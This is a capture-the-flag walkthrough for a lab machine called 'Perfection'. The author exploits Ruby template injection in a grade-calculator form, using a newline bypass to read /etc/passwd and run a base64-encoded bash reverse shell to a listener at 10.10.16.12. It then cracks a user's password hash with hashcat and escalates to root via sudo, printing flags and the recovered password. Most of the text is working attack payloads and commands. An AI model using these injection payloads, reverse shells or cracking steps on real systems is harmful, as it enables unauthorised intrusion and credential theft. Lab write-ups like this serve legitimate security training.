# Perfection
* Nmap scan
* 
* Website
* 
* There is a weighted grade calculator,I use `burp` capture the packet
* 
* 
* I think is a `commands injection` & `SSTI`,after I saw this,I try search on chatGPT
* 
* 
* then I got `<%=....%>`, it can put any `ruby` code inside
* And I try many commands injection bypass symbol in [here](https://0xffsec.com/handbook/web-applications/command-injection/) ,`%0A` is work
* 
* 

category=a%0A<%25=File.read("/etc/passwd")%25>

* So try put the reverse shell in, and get connect

#!/bin/bash
bash  -c "bash -i >& /dev/tcp/10.10.16.12/1337 0>&1"

* base64 encode

IyEvYmluL2Jhc2gKYmFzaCAgLWMgImJhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTYuMTIvMTMzNyAwPiYxIg==

* Generate payload

category1=a%0A<%25%3dsystem("echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE2LjEyLzEzMzcgMD4mMQ== | base64 -d | bash")%25>

nc -lnvp 1337

* 
* Upgrade shell

script /dev/null -c /bin/bash
CTRL + Z
stty raw -echo; fg
Then press Enter twice, and then enter:
export TERM=xterm

* userflag:||`e5176c9da0a1fdb6b89a7e9eca9768a9`||
* 
## Privilege Escalation
* I found a password hash in /susan/Migration/pupilpath_credentials.db
* pupilpath_credentials.db

strings pupilpath_credentials.db

* Susan's password hash:`Susan Millerabeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f`
* I see something in susan's mail
* 
* So I use hashcat crack the hash
* 
* susan's password:`susan_nasus_413759210`

hashcat -m 1400 abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f -a 3 susan_nasus_?d?d?d?d?d?d?d?d?d

* ssh
* 

sudo su
cat /root/root.txt

* 
* rootflag:||`cf491e4abb1c963fadc3a429d9823a5d`||